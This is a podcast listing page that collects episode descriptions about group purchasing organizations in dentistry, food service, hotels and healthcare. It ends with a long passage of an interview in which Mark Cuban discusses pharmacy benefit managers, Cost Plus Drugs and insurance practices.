Podcasts about gpos

Are you overspending on dental supplies without even realizing it? In this episode, we sit down with Brad Freeman, Founder & CEO of SourceClub, to uncover how most practices are silently bleeding money through outdated procurement habits. Brad shares the real math behind supply costs, the hidden fees most GPOs don't talk about, and why SourceClub's model is saving DEO members thousands. If your supply spend is creeping above 6%, this conversation might be exactly what you need to hear.

With over 90,000 restaurants and a population of more than 40 million, the Golden State offers a dynamic and diverse market that's as competitive as it is promising.This week, Nick unpacks key strategies to boost your sales and marketing efforts and explores what it takes to stand out in such a saturated space. From navigating complex regulations to understanding regional trends and shifting consumer preferences, this conversation is packed with practical insights for anyone looking to succeed in California's fast-paced food service scene.Whether you're a seasoned professional or just starting, this episode will leave you with valuable tools to better understand—and win in—this powerful market.TIMESTAMPS00:00 - Intro03:35 - Understanding the California Food Service Market05:40 - Distribution in California's Food Market14:33 - GPOs and Their Impact on Sales19:41 - California Sales StrategiesRESOURCESPortillo SalesCONTACT Nick: nick.portillo@portillosales.com

In dieser Folge dreht sich alles um das, was moderne IT wirklich voranbringt: Microsoft Intune & die Intune Suite.

Twenty-five years after co-founding Corporate United, the first indirect GPO in the United States, David McCarty points out an inconvenient truth: the very tools procurement once developed to leverage spend are no longer as effective in today's supplier-dominated landscape. In this episode of "Buy: The Way…To Purposeful Procurement," David joins co-hosts Philip Ideson and Rich Ham to discuss the evolution of Group Purchasing Organizations (GPOs), from their early promises of dramatic savings (15-30% back in the early 2000s) to their current state, where GPOs are much more limited in their ability to determine and optimize spend.  With refreshing candor and a healthy dose of optimism about today's forward-thinking GPO leaders, David confirms what many procurement leaders have long suspected: most GPOs are less effective today than when they were founded, partly because they've become a kind of checkbox solution that gives procurement a "false sense of security" rather than a true route to optimized expense management.  For procurement leaders who are worried that their suppliers might be gaming the GPO system, David provides realistic guidance on how to select the right GPO partner (from looking at contract age and rebidding frequency to volume transparency and customization options). He also points out the key areas where GPOs can still deliver differentiated value, but only if they are leveraged appropriately and procurement puts the time and effort into measuring the value they expect to receive.  While there are still benefits to using this model, it's clear, says David, that in 2025, strategic procurement through GPOs requires a more discerning, purpose-driven approach than ever before. Links: David McCarty on LinkedIn Rich Ham on LinkedIn Learn more at FineTuneUs.com  

In this episode, CHIME President and CEO, Russ Branzell welcomes Rachael England, Associate Principal of Digital Technologies at Vizient, to unpack the complex realities facing digital health leaders who are driving innovation amid mounting economic pressures. Rachael shares insights from working closely with provider CIOs and IT teams to reduce costs, streamline vendor relationships, and ensure digital strategies align with long-term goals. Together, they explore the balance between visionary leadership and sustainable execution, discussing how strategic partnerships can maximize value without sacrificing agility.Key Takeaways:How digital health leaders are navigating budget constraints, vendor fatigue, and pressures to innovateStrategies to reduce IT spend and complexity leveraging GPOs and strategic partnershipsReal-world use cases for AI in procurement and IT decision-makingHow to overcome hurdles in AI adoption with the right data and collaborationThought leadership principles for maintaining focus, avoiding burnout, and leading effective and sustainable digital transformation

On today's episode, Dr. Mark Costes chats with Michael Lomotan, co-founder of the Dental Success Network, and Cameron Buhman, DSN's vendor relations specialist. They dive into the power of group purchasing organizations (GPOs) and how DSN helps dentists negotiate better pricing on supplies, lab fees, patient financing, and more—saving members tens of thousands without increasing production.  They also break down the dangers of "price creep" and why keeping a close eye on vendor relationships is crucial for maintaining profitability. Dr. Costes shares his newfound love for Formula One and the strategy behind the sport. Tune in for insights on cutting overhead and running a more efficient practice. EPISODE RESOURCES https://www.truedentalsuccess.com Dental Success Network Subscribe to The Dentalpreneur Podcast

How can small dental practices leverage big-business buying power?In this episode, we chat with Mike McCoy, the visionary behind Dental Collective, who helps independent practices save big on high-end dental products and services. Raised in a family immersed in the dental sales sector, Mike shares his personal journey and expansive experience working with industry giants like Komet USA and Align Technology. These roles unveiled the secrets of sales and pricing, laying the foundation for Dental Collective. The heart of the discussion reveals how McCoy's group purchasing organization (GPO) empowers smaller practices to enjoy the pricing benefits once reserved for larger dental service organizations (DSOs.) Mike demystifies the working process of GPOs and dismantles myths surrounding deal access in the dental market, advocating for a level playing field.The episode takes a deep dive into the economic advantages of joining Dental Collective. Mike explains how engaging with a GPO is not just about saving on supplies but also capitalizing on extensive resources like marketing, IT, and insurance negotiations. He paints a vivid picture of practices pocketing considerable savings on expenses like credit card merchant fees and third-party financing, thanks to skillful negotiation and streamlined processes. As Mike shares compelling case studies, he invites dentists to take a proactive stance in their GPO membership to maximize gains.What You'll Learn in This Episode:How Mike's journey and industry acumen shaped Dental Collective.The role and benefits of a group purchasing organization in modern dentistry.Common misconceptions about dental deal accessibility and pricing structures.The financial impact of GPO memberships on overhead costs.Strategies for leveraging GPO services beyond traditional supply discounts.Real-life examples demonstrating significant cost savings through Dental Collective.The importance of active engagement in maximizing GPO benefits.The broad spectrum of resources available to Dental Collective members.Join us for an enlightening discussion on transforming your dental practice's financial health!‍‍Sponsors:‍CareStack: Modern, Secure, Cloud-Based Dental Software for Growing Your Practice! With state-of-the-art features including Online Appointments, Integrated Payments, Text Reminders and more. Click the link here for a special offer: thedentalmarketer.lpages.co/carestack‍Guest: Mike McCoyBusiness Name: Dental CollectiveCheck out Mike's Media:‍Website: Dental Collective | Your Go To Partner for Savings on Dental Supplies(Use coupon code DCTRIAL1 at checkout for a 1-month trial of Dental Collective. You can cancel at anytime if you don't find it to be a good fit for your practice.)Email: dcsales@dental-collective.comPhone: 781-701-6707Instagram: instagram.com/dentalcollectivedpoLinkedIn: linkedin.com/in/michaelrmccoy-100419Book a Consultation: calendly.com/dcsales-2fs/30minVendor Partners: Partner Vendors | Start Saving Money Today with Dental Collective‍Love the Podcast? Let Us Know How We're Doing on Apple Podcasts!‍Other Mentions and Links:‍Terms:GPO - Group Purchasing Organization‍Businesses/Brands:Komet USAAlign TechnologyInvisalignBioclearBrasseler USAPattersonBencoCostcoDental CityApexToothioCherryUltradentKettenbach USAUptime Services‍Sports Teams:New York Yankees‍Products:3M Filtek Composite‍Host: Michael Arias‍Website: The Dental Marketer Join my newsletter: https://thedentalmarketer.lpages.co/newsletter/‍Join this podcast's Facebook Group: The Dental Marketer Society‍Please don't forget to share with us on Instagram when you are listening to the podcast AND if you are really wanting to show us love, then please leave a 5 star review on iTunes! [Click here to leave a review on iTunes]‍p.s. Some links are affiliate links, which means that if you choose to make a purchase, I will earn a commission. This commission comes at no additional cost to you. Please understand that we have experience with these products/companies, and I recommend them because they are helpful and useful, not because of the small commissions we make if you decide to buy something. Please do not spend any money unless you feel you need them or that they will help you with your goals.‍

Summary In this episode of the Zen One Podcast, Tiger Safarov interviews Karla-Marie Santiago, a senior director of strategic partnerships at SupplyDoc, to discuss the role of Group Purchasing Organizations (GPOs) in the dental industry. They explore the benefits of GPOs for independent practices, the different types of GPOs, and the importance of procurement strategies. Karla shares insights on evaluating GPOs, the challenges of adoption, and the significance of customer service in ensuring a positive experience for members. In this conversation, Karla-Marie Santiago and Tiger Safarov delve into the complexities of Group Purchasing Organizations (GPOs) in the dental industry. They discuss the challenges of adoption, the importance of relationships in negotiations, and the critical factors to consider when evaluating GPOs. The conversation highlights the role of vendor relationships, the significance of pricing and utilization, and when practices should consider engaging with GPOs based on their growth goals and procurement strategies. Takeaways GPOs leverage collective buying power for better pricing. Independent practices can benefit significantly from joining GPOs. Different GPOs have unique value propositions and structures. Understanding the types of GPOs is crucial for making informed decisions. Customer service and communication are vital for GPO success. Procurement encompasses more than just purchasing; it's about strategy. Adoption of GPOs can be challenging due to various factors. GPOs should provide tools to simplify data management for members. Evaluating GPOs requires understanding their offerings and contracts. The relationship between GPOs and vendors is key to member satisfaction. Adoption of GPOs can be challenging due to data gathering issues. Having a single point of contact is crucial for effective relationship management. Investment in relationships is key to achieving ROI with GPOs. Evaluating GPOs requires understanding their partnerships and pricing structures. Utilization of contracts is essential for maximizing savings. Strong relationships can lead to better pricing negotiations. Reps play a significant role in maintaining vendor relationships. Practices should assess their growth goals before engaging with GPOs. A dollar saved is often more impactful than a dollar earned. The transition from emerging to mid-market is a critical time to consider procurement strategies. Chapters (00:00) Introduction to GPOs and Their Importance (03:05) Understanding Different Types of GPOs (05:58) Evaluating GPOs: Examples and Their Value Propositions (09:04) Why Join a GPO? Benefits for Independent Practices (11:47) Navigating Product Choices and Vendor Relationships (14:55) The Role of Procurement in Dental Practices (17:59) Pros and Cons of GPO Structures (21:00) Challenges and Risks of Joining a GPO (23:52) Customer Service and Communication in GPOs (27:10) Best Practices for GPO Adoption (28:06) Evaluating GPOs: Key Considerations (30:10) Understanding Pricing and Utilization (32:33) The Role of Relationships in Negotiation (34:39) The Value of Reps in GPOs (39:49) When to Consider GPOs for Your Practice (45:08) Growth Goals and Procurement Strategies

I'm chatting with James Hansen, VP of Business Development at Reeco and we're discussing how this groundbreaking AI-driven platform is simplifying hotel procurement and transforming the industry.  Learn how Reeco is using cutting-edge technology and fresh funding to help hoteliers save time, cut costs, and maximize efficiency. And be sure to catch up with hem during ALIS too! Key Highlights: • Big Moves in Funding: o Reeco secures $15M in Series A funding, totaling $25M raised to date. o Discover how this investment will supercharge sales, marketing, and branding efforts. • AI-Driven Innovation: o Automates procure-to-pay processes for hotels. o Upload invoices to instantly compare vendor prices, manage recipes, and optimize menus. o Maximize savings with cross-menu utilization and dynamic vendor comparisons. • Simplifying Hotel Operations: o Streamlined vendor management with plug-and-play integration. o Supports existing contracts, rebates, and GPOs without manual data entry. • James Hansen's Journey: o From hotel management to leading business development at Reeco. o Why AI and technology are the future of hotel operations. • Why Hoteliers Should Care: o Save time and money while improving efficiency. o Stay ahead of the curve with technology that simplifies decision-making.

I'm chatting with James Hansen, VP of Business Development at Reeco and we're discussing how this groundbreaking AI-driven platform is simplifying hotel procurement and transforming the industry. Learn how Reeco is using cutting-edge technology and fresh funding to help hoteliers save time, cut costs, and maximize efficiency. And be sure to catch up with hem during ALIS too! Key Highlights: Big Moves in Funding: Reeco secures $15M in Series A funding, totaling $25M raised to date. Discover how this investment will supercharge sales, marketing, and branding efforts. AI-Driven Innovation: Automates procure-to-pay processes for hotels. Upload invoices to instantly compare vendor prices, manage recipes, and optimize menus. Maximize savings with cross-menu utilization and dynamic vendor comparisons. Simplifying Hotel Operations: Streamlined vendor management with plug-and-play integration. Supports existing contracts, rebates, and GPOs without manual data entry. James Hansen's Journey: From hotel management to leading business development at Reeco. Why AI and technology are the future of hotel operations. Why Hoteliers Should Care: Save time and money while improving efficiency. Stay ahead of the curve with technology that simplifies decision-making.

American healthcare is well known for its extreme cost and worst outcomes among industrialized (such as the 38 OECD member) countries, and beyond that to be remarkably opaque. The high cost of prescription drugs contributes, and little has been done to change that except for the government passing the Affordable Insulin Now Act at the end of 2022, enacted in 2023. But in January 2022 Mark Cuban launched Cost Plus Drugs that has transformed how many Americans can get their prescriptions filled at a fraction of the prevailing prices, bypassing pharmacy benefit managers (PBMs) that control 80% of US prescriptions. That was just the beginning of a path of creative destruction (disruptive innovation, after Schumpeter) of many key components American healthcare that Cuban is leading, with Cost Plus Marketplace, Cost Plus Wellness and much more to come. He certainly qualifies as a master disrupter: “someone who is a leader in innovation and is not afraid to challenge the status quo.” Below is a video clip from our conversation dealing with insurance companies. Full videos of all Ground Truths podcasts can be seen on YouTube here. The current one is here. If you like the YouTube format, please subscribe! The audios are also available on Apple and Spotify.Transcript with External links to Audio (00:07):Hello, it's Eric Topol with Ground Truths, and I have our special phenomenal guest today, Mark Cuban, who I think you know him from his tech world contributions and Dallas Mavericks, and the last few years he's been shaking up healthcare with Cost Plus Drugs. So Mark, welcome.Mark Cuban (00:25):Thanks for having me, Eric.Eric Topol (00:27):Yeah, I mean, what you're doing, you've become a hero to millions of Americans getting them their medications at a fraction of the cost they're used to. And you are really challenging the PBM industry, which I've delved into more than ever, just in prep for our conversation. It's just amazing what this group of companies, namely the three big three CVS Caremark, Optum of UnitedHealth and Express Scripts of Cigna with a market of almost $600 billion this year, what they're doing, how can they get away with all this stuff?Inner Workings of Pharmacy Benefit ManagersMark Cuban (01:03):I mean, they're just doing business. I really don't blame them. I blame the people who contract with them. All the companies, particularly the bigger companies, the self-insured companies, where the CEO really doesn't have an understanding of their healthcare or pharmacy benefits. And so, the big PBMs paid them rebates, which they think is great if you're a CEO, when in reality it's really just a loan against the money spent by your sickest employees, and they just don't understand that. So a big part of my time these days is going to CEOs and sitting with them and explaining to them that you're getting ripped off on both your pharmacy and your healthcare side.Eric Topol (01:47):Yeah, it's amazing to me the many ways that they get away with this. I mean, they make companies sign NDAs. They're addicted to rebates. They have all sorts of ways a channel of funds to themselves. I mean, all the things you could think of whereby they even have these GPOs. Each of these companies has a group purchasing organization (I summarized in the Table below).Mark Cuban (02:12):Yeah, which gives them, it's crazy because with those GPOs. The GPO does the deal with the pharmacy manufacturer. Then the GPO also does the deal with the PBM, and then the PBM goes to the self-insured employer in particular and says, hey, we're going to pass through all the rebates. But what they don't say is they've already skimmed off 5%, 10%, 20% or more off the top through their GPO. But that's not even the worst of it. That's just money, right? I mean, that's important, but I mean, even the biggest companies rarely own their own claims data.Mark Cuban (02:45):Now think about what that means. It means you can't get smarter about the wellness of your employees and their families. You want to figure out the best way to do GLP-1s and figure out how to reduce diabetes, whatever it may be. You don't have that claims data. And then they don't allow the companies to control their own formularies. So we've seen Humira biosimilars come out and the big PBMs have done their own version of the biosimilar where we have a product called Yusimry, which is only $594 a month, which is cheaper than the cheapest biosimilar that the big three are selling. And so, you would think in a normal relationship, they would want to bring on this new product to help the employer. No, they won't do it. If the employer asks, can I just add Cost Plus Drugs to my network? They'll say no, every single time.Mark Cuban (03:45):Their job is not to save the employer money, particularly after they've given a rebate. Because once they give that loan, that rebate to the employer, they need to get that money back. It's not a gift. It's a loan and they need to have the rebates, and we don't do rebates with them at all. And I can go down the list. They don't control the formula. They don't control, you mentioned the NDAs. They can't talk to manufacturers, so they can't go to Novo or to Lilly and say, let's put together a GLP-1 wellness program. All these different things that just are common sense. It's not happening. And so, the good news is when I walk into these companies that self-insured and talk to the CEO or CFO, I'm not asking them to do something that's not in their best interest or not in the best interest of the lives they cover. I'm saying, we can save you money and you can improve the wellness of your employees and their families. Where's the downside?Eric Topol (04:40):Oh, yeah. Yeah. And the reason they can't see the claims is because of the privacy issues?Mark Cuban (04:46):No, no. That's just a business decision in the contract that the PBMs have made. You can go and ask. I mean, you have every right to your own claims. You don't need to have it personally identified. You want to find out how many people have GLP-1s or what are the trends, or God forbid there's another Purdue Pharma thing going on, and someone prescribing lots of opioids. You want to be able to see those things, but they won't do it. And that's only on the sponsor side. It's almost as bad if not worse on the manufacturer side.Eric Topol (05:20):Oh, yeah. Well, some of the work of PBMs that you've been talking about were well chronicled in the New York Times, a couple of major articles by Reed Abelson and Rebecca Robbins: The Opaque Industry Secretly Inflating Prices for Prescription Drugs and The Powerful Companies Driving Local Drugstores Out of Business. We'll link those because I think some people are not aware of all the things that are going on in the background.Mark Cuban (05:39):You see in their study and what they reported on the big PBMs, it's crazy the way it works. And literally if there was transparency, like Cost Plus offers, the cost of medications across the country could come down 20%, 30% or more.Cost Plus DrugsEric Topol (05:55):Oh, I mean, it is amazing, really. And now let's get into Cost Plus. I know that a radiologist, Alex Oshmyansky contacted you with a cold email a little over three years ago, and you formed Cost Plus Drugs on the basis of that, right?Mark Cuban (06:12):Yep, that's exactly what happened.Eric Topol (06:15):I give you credit for responding to cold emails and coming up with a brilliant idea with this and getting behind it and putting your name behind it. And what you've done, so you started out with something like 110 generics and now you're up well over 1,200 or 2,500 or something like that?Mark Cuban (06:30):And adding brands. And so, started with 111. Now we're around 2,500 and trying to grow it every single day. And not only that, just to give people an overview. When you go to www.costplusdrugs.com and you put in the name of your medication, let's just say it's tadalafil, and if it comes up. In this case, it will. It'll show you our actual cost, and then we just mark it up 15%. It's the same markup for everybody, and if you want it, we'll have a pharmacist check it. And so, that's a $5 fee. And then if you want ship to mail order, it's $5 for shipping. And if you want to use our pharmacy network, then we can connect you there and you can just pick it up at a local pharmacy.Eric Topol (07:10):Yeah, no, it's transparency. We don't have a lot of that in healthcare in America, right?Mark Cuban (07:15):No. And literally, Eric, the smartest thing that we did, and we didn't expect this, it's always the law of unintended consequences. The smartest thing we did was publish our entire price list because that allowed any company, any sponsor, CMS, researchers to compare our prices to what others were already paying. And we've seen studies come out saying, for this X number of urology drugs, CMS would save $3.6 billion a year. For this number of heart drugs at this amount per year, for chemotherapy drugs or MS drugs this amount. And so, it's really brought attention to the fact that for what PBMs call specialty drugs, whether there's nothing special about them, we can save people a lot of money.Eric Topol (08:01):It's phenomenal. As a cardiologist, I looked up a couple of the drugs that I'm most frequently prescribed, just like Rosuvastatin what went down from $134 to $5.67 cents or Valsartan it went down from $69 to $7.40 cents. But of course, there's some that are much more dramatic, like as you mentioned, whether it's drugs for multiple sclerosis, the prostate cancer. I mean, some of these are just thousands and thousands of dollars per month that are saved, brought down to levels that you wouldn't think would even be conceivable. And this has been zero marketing, right?Mark Cuban (08:42):Yeah, none. It's all been word of mouth and my big mouth, of course. Going out there and doing interviews like this and going to major media, but it's amazing. We get emails and letters and people coming up to us almost single day saying, you saved my grandma's life. You saved my life. We weren't going to be able to afford our imatinib or our MS medication. And it went from being quoted $2,000 a month to $33 a month. It's just insane things like that that are still happening.Eric Topol (09:11):Well, this is certainly one of the biggest shakeups to occur in US healthcare in years. And what you've done in three years is just extraordinary. This healthcare in this country is with its over 4 trillion, pushing $5 trillion a year of expenditure.[New CMS report this week pegs the number at $4.867 trillion for 2023]Mark Cuban (09:30):It's interesting. I think it's really fixable. This has been the easiest industry to the disrupt I've ever been involved in. And it's not even close because all it took was transparency and not jacking up margins to market. We choose to use a fixed margin markup. Some choose to price to market, the Martin Shkreli approach, if you will. And just by being transparent, we've had an impact. And the other side of it is, it's the same concept on the healthcare side. Transparency helps, but to go a little field of pharmacy if you want. The insane part, and this applies to care and pharmacy, whatever plan we have, whether it's for health or whether it's for pharmaceuticals, there's typically a deductible, typically a copay, and typically a co-insurance.Insurance CompaniesMark Cuban (10:20):The crazy part of all that is that people taking the default risk, the credit risk are the providers. It's you, it's the hospital, it's the clinics that you work for. Which makes no sense whatsoever that the decisions that you or I make for our personal insurance or for the companies we run, or if we work for the government, what we do with Medicare or Medicare Advantage, the decisions we all make impacts the viability of providers starting with the biggest hospital systems. And so, as a result, they become subprime lenders without a car or a house to go after if they can't collect. And so, now you see a bunch of people, particularly those under the ACA with the $9,000, the bronze plans or $18,000 out-of-pocket limits go into debt, significant medical debt. And it's unfortunate. We look at the people who are facing these problems and think, well, it must be the insurance companies.Mark Cuban (11:23):It's actually not even the insurance companies. It's the overall design of the system. But underneath that, it's still whoever picks the insurance companies and sets plans that allow those deductibles, that's the core of the problem. And until we get to a system where the providers aren't responsible for the credit for defaults and dealing with all that credit risk, it's almost going to be impossible to change. Because when you see stories like we've all seen in news of a big healthcare, a BUCA healthcare (Blue Cross Blue Shield (BCBS), UnitedHealth, Cigna, and Aetna/CVS) plan with all the pre-authorizations and denials, typically they're not even taking the insurance risk. They're acting as the TPA (third party administrator) as the claims processor effectively for whoever hired them. And it goes back again, just like I talked about before. And as long as CMS hires or allows or accepts these BUCAs with these plans for Medicare for the ACA (Affordable care Act), whatever it may be, it's not going to work. As long as self-insured employers and the 50 million lives they cover hire these BUCAs to act as the TPAs, not as insurance companies and give them leeway on what to approve and what to authorize and what not to authorize. The system's going to be a mess, and that's where we are today.Academic Health System PartnershipsEric Topol (12:41):Yeah. Well, you've been talking of course to employers and enlightening them, and you're also enlightening the public, of course. That's why you have millions of people that are saving their cost of medications, but recently you struck a partnership with Penn Medicine. That's amazing. So is that your first academic health system that you approached?Cost Plus MarketplaceMark Cuban (13:00):I don't know if it was the first we approached, but it was certainly one of the biggest that we signed. We've got Cost Plus Marketplace (CPM) where we make everything from injectables to you name it, anything a hospital might buy. But again, at a finite markup, we make eight and a half percent I think when it's all said and done. And that saves hospital systems millions of dollars a year.Eric Topol (13:24):Yeah. So that's a big change in the way you're proceeding because what it was just pills that you were buying from the pharma companies, now you're actually going to make injectables and you're going to have a manufacturing capability. Is that already up and going?Mark Cuban (13:39):That's all up and going as of March. We're taking sterile injectables that are on the shortage list, generic and manufacturing them in Dallas using a whole robotics manufacturing plant that really Alex created. He's the rocket scientist behind it. And we're limited in capacity now, we're limited about 2 million vials, but we'll sell those to Cost Plus Marketplace, and we'll also sell those direct. So Cost Plus Marketplace isn't just the things we manufacture. It's a wide variety of products that hospitals buy that we then have a minimal markup, and then for the stuff we manufacture, we'll sell those to direct to like CHS was our first customer.Eric Topol (14:20):Yeah, that's a big expansion from going from the pills to this. Wow.Mark Cuban (14:24):It's a big, big expansion, but it goes to the heart of being transparent and not being greedy, selling on a markup. And ourselves as a company, being able to remain lean and mean. The only way we can sell at such a low markup. We have 20 employees on the Cost Plus side and 40 employees involved with the factories, and that's it.Eric Topol (14:46):Wow. So with respect to, you had this phenomenal article and interview with WIRED Magazine just this past week. I know Lauren Goode interviewed you, and she said, Mark, is this really altruistic and I love your response. You said, “how much f*****g money do I need? I'm not trying to land on Mars.” And then you said, “at this point in my life, it's just like more money, or f**k up the healthcare industry.” This was the greatest, Mark. I mean, I got to tell you, it was really something.Mark Cuban (15:18):Yeah.Eric Topol (15:19):Well, in speaking of that, of course, the allusion to a person we know well, Elon. He posted on X/Twitter in recent days , I think just three or four days ago, shouldn't the American people be getting their money's worth? About this high healthcare administration costs where the US is completely away from any other OECD country. And as you and I know, we have the worst outcomes and the most costs of all the rich countries in the world. There's just nothing new here. Maybe it's new to him, but you had a fabulous response on both X and Bluesky where you went over all these things point by point. And of course, the whole efforts that you've been working on now for three years. You also mentioned something that was really interesting that I didn't know about were these ERISA lawsuits[Employee Retirement Income Security Act (ERISA) of 1974.] Can you tell us about that?ERISA LawsuitsMark Cuban (16:13):Yeah, that's a great question, Eric. So for self-insured companies in particular, we have a fiduciary responsibility on a wellness and on a financial basis to offer the members, your employees and their families the best outcomes at the best price. Now, you can't guarantee best outcomes, but you have to be able to explain the choices you made. You don't have to pick the cheapest, but again, you have to be able to explain why you made the choices that you did. And because a lot of companies have been doing, just like we discussed earlier, doing deals on the pharmacy side with just these big PBMs, without accounting for best practices, best price, best outcomes, a couple companies got sued. Johnson and Johnson and Wells Fargo were the first to get sued. And I think that's just the beginning. That's just the writing on the wall. I think they'll lose because they just dealt with the big pharmacy PBMs. And I think that's one of the reasons why we're so busy at Cost Plus and why I'm so busy because we're having conversation after conversation with companies and plenty of enough lawyers for that matter who want to see a price list and be able to compare what they're paying to what we sell for to see if they're truly living up to that responsibility.Eric Topol (17:28):Yeah, no, that's a really important thing that's going on right now that I think a lot of people don't know about. Now, the government of the US think because it's the only government of any rich country in the world, if not any country that doesn't negotiate prices, i.e., CMS or whatever. And only with the recent work of insulin, which is a single one drug, was there reduction of price. And of course, it's years before we'll see other drugs. How could this country not negotiate drugs all these years where every other place in the world they do negotiate with pharma?Mark Cuban (18:05):Because as we alluded to earlier, the first line in every single pharmaceutical and healthcare contract says, you can't talk about this contract. It's like fight club. The number one rule of fight club is you can't talk about fight club, and it's really difficult to negotiate prices when it's opaque and everything's obfuscated where you can't really get into the details. So it's not that we're not capable of it, but it's just when there's no data there, it's really difficult because look, up until we started publishing our prices, how would anybody know?Mark Cuban (18:39):I mean, how was anybody going to compare numbers? And so, when the government or whoever started to negotiate, they tried to protect themselves and they tried to get data, but those big PBMs certainly have not been forthcoming. We've come along and publish our price list and all that starts to change. Now in terms of the bigger picture, there is a solution there, as I said earlier, but it really comes down to talking to the people who make the decisions to hire the big insurance companies and the big PBMs and telling them, no, you're not acting in your own best interest. Here's anybody watching out there. Ask your PBM if they can audit. If you can audit rather your PBM contract. What they'll tell you is, yeah, you can, but you have to use our people. It's insane. And that's from top to bottom. And so, I'm a big believer that if we can get starting with self-insured employers to act in their own best interest, and instead of working with a big PBM work with a pass-through PBM. A pass-through PBM will allow you to keep your own claims, own all your own data, allow you to control your own formulary.Mark Cuban (19:54):You make changes where necessary, no NDA, so you can't talk to manufacturers. All these different abilities that just seem to make perfect sense are available to all self-insured employers. And if the government, same thing. If the government requires pass-through PBMs, the price of medications will drop like a rock.Eric Topol (20:16):Is that possible? You think that could happen?Mark Cuban (20:19):Yes. Somebody's got to understand it and do it. I'm out there screaming, but we will see what happens with the new administration. There's nothing hard about it. And it's the same thing with Medicare and Medicare Advantage healthcare plans. There's nothing that says you have to use the biggest companies. Now, the insurance companies have to apply and get approved, but again, there's a path there to work with companies that can reduce costs and improve outcomes. The biggest challenge in my mind, and I'm still trying to work through this to fully understand it. I think where we really get turned upside down as a country is we try to avoid fraud from the provider perspective and the patient perspective. We're terrified that patients are going to use too much healthcare, and like everybody's got Munchausen disease.Mark Cuban (21:11):And we're terrified that the providers are going to charge too much or turn into Purdue Pharma and over-prescribe or one of these surgery mills that just is having somebody get surgery just so they can make money. So in an effort to avoid those things, we ask the insurance companies and the PBMs to do pre-authorizations, and that's the catch 22. How do we find a better way to deal with fraud at the patient and provider level? Because once we can do that, and maybe it's AI, maybe it's accepting fraud, maybe it's imposing criminal penalties if somebody does those things. But once we can overcome that, then it becomes very transactional. Because the reality is most insurance companies aren't insurance companies. 50 million lives are covered by self-insured employers that use the BUCAs, the big insurance companies, but not as insurance companies.Eric Topol (22:07):Yeah, I was going to ask you about that because if you look at these three big PBMs that control about 80% of the market, not the pass-throughs that you just mentioned, but the big ones, they each are owned by an insurance company. And so, when the employer says, okay, we're going to cover your healthcare stuff here, we're going to cover your prescriptions there.Mark Cuban (22:28):Yeah, it's all vertically integrated.Mark Cuban (22:36):And it gets even worse than that, Eric. So they also own specialty pharmacies, “specialty pharmacies” that will require you to buy from. And as I alluded to earlier, a lot of these medications like Imatinib, they'll list as being a specialty medication, but it's a pill. There's nothing special about it, but it allows them to charge a premium. And that's a big part of how the PBMs make a lot of their money, the GPO stuff we talked about, but also forcing an employer to go through the specialty mail order company that charges an arm and the leg.Impact on Hospitals and ProceduresEric Topol (23:09):Yeah. Well, and the point you made about transparency, we've seen this of course across US healthcare. So for example, as you know, if you were to look at what does it cost to have an operation like let's say a knee replacement at various hospitals, you can find that it could range fivefold. Of course, you actually get the cost, and it could be the hospital cost, and then there's the professional cost. And the same thing occurs for if you're having a scan, if you're having an MRI here or there. So these are also this lack of transparency and it's hard to get to the numbers, of course. There seems to be so many other parallels to the PBM story. Would you go to these other areas you think in the future?Mark Cuban (23:53):Yeah, we're doing it now. I'm doing it. So we have this thing called project dog food, and what it is, it's for my companies and what we've done is say, look, let's understand how the money works in healthcare.Mark Cuban (24:05):And when you think about it, when you go to get that knee done, what happens? Well, they go to your insurance company to get a pre-authorization. Your doctor says you need a knee replacement. I got both my hips replaced. Let's use that. Doctor says, Mark, you need your hips replaced. Great, right? Let's set up an appointment. Well, first the insurance company has to authorize it, okay, they do or they don't, but the doctor eats their time up trying to deal with the pre-authorization. And if it's denied, the doctor's time is eaten up and an assistance's time is eaten up. Some other administrator's time is eaten up, the employer's time is eaten up. So that's one significant cost. And then from there, there's a deductible. Now I can afford my deductible, but if there is an individual getting that hip replacement who can't afford the deductible, now all of a sudden you're still going to be required to do that hip replacement, most likely.Mark Cuban (25:00):Because in most of these contracts that self-insured employers sign, Medicare Advantage has, Medicare has, it says that between the insurance company and the provider, in this case, the hospital, you have to do the operation even if the deductibles not paid. So now the point of all this is you have the hospital in this case potentially accumulating who knows how much bad debt. And it's not just the lost amount of millions and millions and billions across the entire healthcare spectrum that's there. It's all the incremental administrative costs. The lawyers, the benefits for those people, the real estate, the desk, the office space, all that stuff adds up to $10 billion plus just because the hospitals take on that credit default risk. But wait, there's more. So now the surgery happens, you send the bill to the insurance company. The insurance company says, well, we're not going to pay you. Well, we have a contract. This is what it says, hip replacement's $34,000. Well, we don't care first, we're going to wait. So we get the time value of money, and then we're going to short pay you.Mark Cuban (26:11):So the hospital gets short paid. So what do they have to do? They have to sue them or send letters or whatever it is to try to get their money. When we talk to the big hospital systems, they say that's 2%. That's 2% of their revenue. So you have all these associated credit loss dollars, you've got the 2% of, in a lot of cases, billions and billions of dollars. And so, when you add all those things up, what happens? Well, what happens is because the providers are losing all that money and having to spend all those incremental dollars for the administration of all that, they have to jack up prices.Eric Topol (26:51):Yeah. Right.Mark Cuban (26:53):So what we have done, we've said, look for my companies, we're going to pay you cash. We're going to pay you cash day one. When Mark gets that hip replacement, that checks in the bank before the operation starts, if that's the way you want it. Great, they're not going to have pre-authorizations. We're going to trust you until you give us a reason not to trust you. We're not short paying, obviously, because we're paying cash right there then.Mark Cuban (27:19):But in a response for all that, because we're cutting out all those ancillary costs and credit risk, I want Medicare pricing. Now the initial response is, well, Medicare prices, that's awful. We can't do it. Well, when you really think about the cost and operating costs of a hospital, it's not the doctors, it's not the facilities, it's all the administration that cost all the money. It's all the credit risks that cost all the money. And so, if you remove that credit risk and all the administration, all those people, all that real estate, all those benefits and overhead associated with them, now all of a sudden selling at a Medicare price for that hip replacement is really profitable.Eric Topol (28:03):Now, is that a new entity Cost Plus healthcare?Mark Cuban (28:07):Well, it's called Cost Plus Wellness. It's not an entity. What we're going to do, so the part I didn't mention is all the direct contracts that we do that have all these pieces, as part of them that I just mentioned, we're going to publish them.Eric Topol (28:22):Ah, okay.Mark Cuban (28:23):And you can see exactly what we've done. And if you think about the real role of the big insurances companies for hospitals, it's a sales funnel.Getting Rid of Insurance CompaniesEric Topol (28:33):Yeah, yeah. Well, in fact, I really was intrigued because you did a podcast interview with Andrew Beam and the New England Journal of Medicine AI, and in that they talked about getting rid of the insurers, the insurance industry, just getting rid of it and just make it a means test for people. So it's not universal healthcare, it's a different model that you described. Can you go over that? I thought it was fantastic.Mark Cuban (29:00):Two pieces there. Let's talk about universal healthcare first. So for my companies, for our project dog food for the Mark Cuban companies, if for any employee or any of the lives we cover, if they work within network, anybody we have the direct contract with its single-payer. They 